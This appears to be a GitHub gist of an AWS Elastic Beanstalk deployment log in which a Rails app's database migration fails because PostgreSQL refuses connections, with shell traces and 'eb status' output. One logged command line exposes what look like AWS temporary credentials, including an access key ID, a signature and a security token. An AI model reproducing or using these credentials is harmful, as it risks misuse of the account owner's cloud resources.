++ chruby 2.4.4
++ case "$1" in
++ local dir match
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-1.9.3-p551
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.0.0-p648
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.1.10
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.2.10
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.3.7
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.4.4
++ case "${dir##*/}" in
++ match=/opt/rubies/ruby-2.4.4
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.5.1
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-current
++ case "${dir##*/}" in
++ [[ -z /opt/rubies/ruby-2.4.4 ]]
++ shift
++ chruby_use /opt/rubies/ruby-2.4.4 ''
++ [[ ! -x /opt/rubies/ruby-2.4.4/bin/ruby ]]
++ [[ -n '' ]]
++ export RUBY_ROOT=/opt/rubies/ruby-2.4.4
++ RUBY_ROOT=/opt/rubies/ruby-2.4.4
++ export RUBYOPT=
++ RUBYOPT=
++ export PATH=/opt/rubies/ruby-2.4.4/bin:/opt/elasticbeanstalk/lib/ruby/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin
++ PATH=/opt/rubies/ruby-2.4.4/bin:/opt/elasticbeanstalk/lib/ruby/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin
+++ /opt/rubies/ruby-2.4.4/bin/ruby -
++ eval 'export RUBY_ENGINE=ruby;
export RUBY_VERSION=2.4.4;
export GEM_ROOT="/opt/rubies/ruby-2.4.4/lib/ruby/gems/2.4.0";'
+++ export RUBY_ENGINE=ruby
+++ RUBY_ENGINE=ruby
+++ export RUBY_VERSION=2.4.4
+++ RUBY_VERSION=2.4.4
+++ export GEM_ROOT=/opt/rubies/ruby-2.4.4/lib/ruby/gems/2.4.0
+++ GEM_ROOT=/opt/rubies/ruby-2.4.4/lib/ruby/gems/2.4.0
++ (( 0 != 0 ))
+ cd /var/app/ondeck
+ su -s /bin/bash -c 'bundle exec /opt/elasticbeanstalk/support/scripts/check-for-rake-task.rb db:migrate' webapp
`/home/webapp` is not a directory.
Bundler will use `/tmp/bundler/home/webapp' as your home directory temporarily.
+ '[' false = true ']'
+ su -s /bin/bash -c 'leader_only bundle exec rake db:migrate' webapp
`/home/webapp` is not a directory.
Bundler will use `/tmp/bundler/home/webapp' as your home directory temporarily.
rake aborted!
PG::ConnectionBad: could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `load'
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `<main>'
Tasks: TOP => db:migrate
(See full trace by running task with --trace) (Executor::NonZeroExitStatus)
[2018-06-18T12:59:59.991Z] INFO [3132] - [Application deployment app-30ea-180618_135656@1/StartupStage0/AppDeployPreHook/12_db_migration.sh] : Activity failed.
[2018-06-18T12:59:59.991Z] INFO [3132] - [Application deployment app-30ea-180618_135656@1/StartupStage0/AppDeployPreHook] : Activity failed.
[2018-06-18T12:59:59.991Z] INFO [3132] - [Application deployment app-30ea-180618_135656@1/StartupStage0] : Activity failed.
[2018-06-18T12:59:59.992Z] INFO [3132] - [Application deployment app-30ea-180618_135656@1] : Completed activity. Result:
Application deployment - Command CMD-Startup failed
[2018-06-18T13:04:06.030Z] INFO [17201] - [CMD-TailLogs] : Starting activity...
[2018-06-18T13:04:06.030Z] INFO [17201] - [CMD-TailLogs/AddonsBefore] : Starting activity...
[2018-06-18T13:04:06.030Z] INFO [17201] - [CMD-TailLogs/AddonsBefore] : Completed activity.
[2018-06-18T13:04:06.030Z] INFO [17201] - [CMD-TailLogs/TailLogs] : Starting activity...
[2018-06-18T13:04:06.030Z] INFO [17201] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
-------------------------------------
/var/log/eb-commandprocessor.log
-------------------------------------
+++ [[ -d /.rubies ]]
+++ unset dir
+++ cat /etc/elasticbeanstalk/.ruby_version
++ chruby 2.4.4
++ case "$1" in
++ local dir match
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-1.9.3-p551
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.0.0-p648
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.1.10
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.2.10
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.3.7
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.4.4
++ case "${dir##*/}" in
++ match=/opt/rubies/ruby-2.4.4
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.5.1
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-current
++ case "${dir##*/}" in
++ [[ -z /opt/rubies/ruby-2.4.4 ]]
++ shift
++ chruby_use /opt/rubies/ruby-2.4.4 ''
++ [[ ! -x /opt/rubies/ruby-2.4.4/bin/ruby ]]
++ [[ -n '' ]]
++ export RUBY_ROOT=/opt/rubies/ruby-2.4.4
++ RUBY_ROOT=/opt/rubies/ruby-2.4.4
++ export RUBYOPT=
++ RUBYOPT=
++ export PATH=/opt/rubies/ruby-2.4.4/bin:/opt/elasticbeanstalk/lib/ruby/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin
++ PATH=/opt/rubies/ruby-2.4.4/bin:/opt/elasticbeanstalk/lib/ruby/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin
+++ /opt/rubies/ruby-2.4.4/bin/ruby -
++ eval 'export RUBY_ENGINE=ruby;
export RUBY_VERSION=2.4.4;
export GEM_ROOT="/opt/rubies/ruby-2.4.4/lib/ruby/gems/2.4.0";'
+++ export RUBY_ENGINE=ruby
+++ RUBY_ENGINE=ruby
+++ export RUBY_VERSION=2.4.4
+++ RUBY_VERSION=2.4.4
+++ export GEM_ROOT=/opt/rubies/ruby-2.4.4/lib/ruby/gems/2.4.0
+++ GEM_ROOT=/opt/rubies/ruby-2.4.4/lib/ruby/gems/2.4.0
++ (( 0 != 0 ))
+ cd /var/app/ondeck
+ su -s /bin/bash -c 'bundle exec /opt/elasticbeanstalk/support/scripts/check-for-rake-task.rb db:migrate' webapp
`/home/webapp` is not a directory.
Bundler will use `/tmp/bundler/home/webapp' as your home directory temporarily.
+ '[' false = true ']'
+ su -s /bin/bash -c 'leader_only bundle exec rake db:migrate' webapp
`/home/webapp` is not a directory.
Bundler will use `/tmp/bundler/home/webapp' as your home directory temporarily.
rake aborted!
PG::ConnectionBad: could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `load'
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `<main>'
Tasks: TOP => db:migrate
(See full trace by running task with --trace) (Executor::NonZeroExitStatus)
[2018-06-18T12:59:59.992Z] ERROR [3132] : Command CMD-Startup failed!
[2018-06-18T12:59:59.992Z] INFO [3132] : Command processor returning results:
{"status":"FAILURE","api_version":"1.0","results":[{"status":"FAILURE","msg":"(TRUNCATED)... running on host \"localhost\" (127.0.0.1) and accepting\n\tTCP/IP connections on port 5432?\n/opt/rubies/ruby-2.4.4/bin/bundle:23:in `load'\n/opt/rubies/ruby-2.4.4/bin/bundle:23:in `<main>'\nTasks: TOP => db:migrate\n(See full trace by running task with --trace). \nHook /opt/elasticbeanstalk/hooks/appdeploy/pre/12_db_migration.sh failed. For more detail, check /var/log/eb-activity.log using console or EB CLI","returncode":1,"events":[]}],"truncated":"true"}
[2018-06-18T13:04:06.025Z] DEBUG [17201] : Reading config file: /etc/elasticbeanstalk/.aws-eb-stack.properties
[2018-06-18T13:04:06.025Z] DEBUG [17201] : Checking if the command processor should execute...
[2018-06-18T13:04:06.026Z] DEBUG [17201] : Checking whether the command is applicable to instance (i-0e13e93758634f2bf)..
[2018-06-18T13:04:06.026Z] INFO [17201] : Command is applicable to this instance (i-0e13e93758634f2bf)..
[2018-06-18T13:04:06.027Z] DEBUG [17201] : Checking if the received command stage is valid..
[2018-06-18T13:04:06.027Z] INFO [17201] : No stage_num in command. Valid stage..
[2018-06-18T13:04:06.027Z] INFO [17201] : Received command CMD-TailLogs: {"execution_data":"{\"aws_access_key_id\":\"ASIAIL3JOCES3XAUU7XA\",\"signature\":\"i8kIPYNZBnKEe7J+jW8aZeWNBtc=\",\"security_token\":\"FQoDYXdzENb\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/wEaDOOyFJJjRxK6HGUNvSKSA9clQheevl8PDhawGCN6thnUzWi\\\/aqyxSuHvCyitvCAaEsVaZ9lfn3NVUR3rERI2HdjpEUg\\\/lnJCHA\\\/IdHvCMalc35oCKdjzKiAoK1Y1Q\\\/uHbL6erZHbsTfWiN2\\\/2kg7jBPiJh5iDsvJyp2GdyjiI3685GQOeWh6BvdeCv4sTiR4zxpby5lSI4zZALrfgJN\\\/VgxNh90w7Meq6Vmdolxd\\\/X8M1nfUbKS0I\\\/1vr+vstEHo0KWuBf2G9h02LuJL0Fl9zxVdROsidemNwu86Uo+lYlhAZbdzNrfnFvuzeazPa+YjEg3KPuiG948+Xd1IgwNKuPINCwrT98A4qiARIEJ8TdqAtrafu5SXJ5sU3bQTJoV0WJgAQ0YmK2jPcilRtzcwGH3QZfrtmRvjDGE6enFMlHM8u9NgnOStFVet6uLx3yhVQsXhmc3IKp21gdnPBwN6v52iwFbBUvdCVziX3mH+GQ1Ayr1UqHrgZ2kK4o\\\/a+zlNj7O09n6LoCqTm4ezIH1\\\/VETpJHC+jbzZpsQAGePtejIXgyiA2p7ZBQ==|NjIuNjguMTY5Ljg3\",\"policy\":\"eyJleHBpcmF0aW9uIjoiMjAxOC0wNi0xOFQxMzozNDowNC42NDBaIiwiY29uZGl0aW9ucyI6W1sic3RhcnRzLXdpdGgiLCIkeC1hbXotbWV0YS10aW1lX3N0YW1wIiwiIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLXB1Ymxpc2hfbWVjaGFuaXNtIiwiIl0sWyJzdGFydHMtd2l0aCIsIiRrZXkiLCJyZXNvdXJjZXNcL2Vudmlyb25tZW50c1wvbG9nc1wvIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLWJhdGNoX2lkIiwiIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLWZpbGVfbmFtZSIsIiJdLFsic3RhcnRzLXdpdGgiLCIkeC1hbXotc2VjdXJpdHktdG9rZW4iLCIiXSxbInN0YXJ0cy13aXRoIiwiJENvbnRlbnQtVHlwZSIsIiJdLFsiZXEiLCIkYnVja2V0IiwiZWxhc3RpY2JlYW5zdGFsay1ldS13ZXN0LTItNTIxMjU2NjE1NjY0Il0sWyJlcSIsIiRhY2wiLCJwcml2YXRlIl1dfQ==\"}","instance_ids":["i-0e13e93758634f2bf"],"data":"47516207-7946-4c80-873a-a7df50649c7b","command_name":"CMD-TailLogs","api_version":"1.0","resource_name":"AWSEBAutoScalingGroup","request_id":"47516207-7946-4c80-873a-a7df50649c7b"}
[2018-06-18T13:04:06.027Z] INFO [17201] : Command processor should execute command.
[2018-06-18T13:04:06.027Z] DEBUG [17201] : Storing current stage..
[2018-06-18T13:04:06.027Z] DEBUG [17201] : Stage_num does not exist. Not saving null stage. Returning..
[2018-06-18T13:04:06.027Z] DEBUG [17201] : Reading config file: /etc/elasticbeanstalk/.aws-eb-stack.properties
[2018-06-18T13:04:06.027Z] DEBUG [17201] : Retrieving metadata for key: AWS::ElasticBeanstalk::Ext||_ContainerConfigFileContent||commands..
[2018-06-18T13:04:06.027Z] DEBUG [17201] : Retrieving metadata for key: AWS::ElasticBeanstalk::Ext||_API||_Commands..
[2018-06-18T13:04:06.028Z] INFO [17201] : Found enabled addons: ["logpublish", "logstreaming"].
[2018-06-18T13:04:06.029Z] INFO [17201] : Updating Command definition of addon logpublish.
[2018-06-18T13:04:06.029Z] INFO [17201] : Updating Command definition of addon logstreaming.
[2018-06-18T13:04:06.029Z] DEBUG [17201] : Loaded definition of Command CMD-TailLogs.
[2018-06-18T13:04:06.029Z] INFO [17201] : Executing CMD-TailLogs
[2018-06-18T13:04:06.030Z] INFO [17201] : Executing command: CMD-TailLogs...
[2018-06-18T13:04:06.030Z] INFO [17201] : Executing command CMD-TailLogs activities...
[2018-06-18T13:04:06.030Z] DEBUG [17201] : Setting environment variables..
[2018-06-18T13:04:06.030Z] INFO [17201] : Running AddonsBefore for command CMD-TailLogs...
[2018-06-18T13:04:06.030Z] DEBUG [17201] : Running stages of Command CMD-TailLogs from stage 0 to stage 0...
[2018-06-18T13:04:06.030Z] INFO [17201] : Running stage 0 of command CMD-TailLogs...
[2018-06-18T13:04:06.030Z] DEBUG [17201] : Loaded 1 actions for stage 0.
[2018-06-18T13:04:06.030Z] INFO [17201] : Running 1 of 1 actions: TailLogs...
INFO: Created CloudWatch alarm named: awseb-e-2ttxrpppvk-stack-AWSEBCloudwatchAlarmHigh-4XRVQMEIKJX2
INFO: Created CloudWatch alarm named: awseb-e-2ttxrpppvk-stack-AWSEBCloudwatchAlarmLow-1GJ4C1MDU0Q0Y
ERROR: [Instance: i-03ff20b59bb676069] Command failed on instance. Return code: 1 Output: (TRUNCATED)...b:1:in `<top (required)>'
/var/app/ondeck/config/environment.rb:6:in `<top (required)>'
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `load'
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `<main>'
Tasks: TOP => environment
(See full trace by running task with --trace).
Hook /opt/elasticbeanstalk/hooks/appdeploy/pre/11_asset_compilation.sh failed. For more detail, check /var/log/eb-activity.log using console or EB CLI.
INFO: Command execution completed on all instances. Summary: [Successful: 0, Failed: 1].
ERROR: Create environment operation is complete, but with errors. For more information, see troubleshooting documentation.
rouget430@T430-Rouge ~/Documents/dev_portfolio/sendroute $ eb status
Environment details for: production
Application name: sendroute
Region: eu-west-2
Deployed Version: app-1509-180618_121838
Environment ID: e-2ttxrpppvk
Platform: arn:aws:elasticbeanstalk:eu-west-2::platform/Puma with Ruby 2.4 running on 64bit Amazon Linux/2.8.0
Tier: WebServer-Standard-1.0
CNAME: production.b2bnuv22ew.eu-west-2.elasticbeanstalk.com
Updated: 2018-06-18 11:23:21.968000+00:00
Status: Ready
Health: Red
rouget430@T430-Rouge ~/Documents/dev_portfolio/sendroute $
@CodePint
Copy link
Author

after running eb create production for first time

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment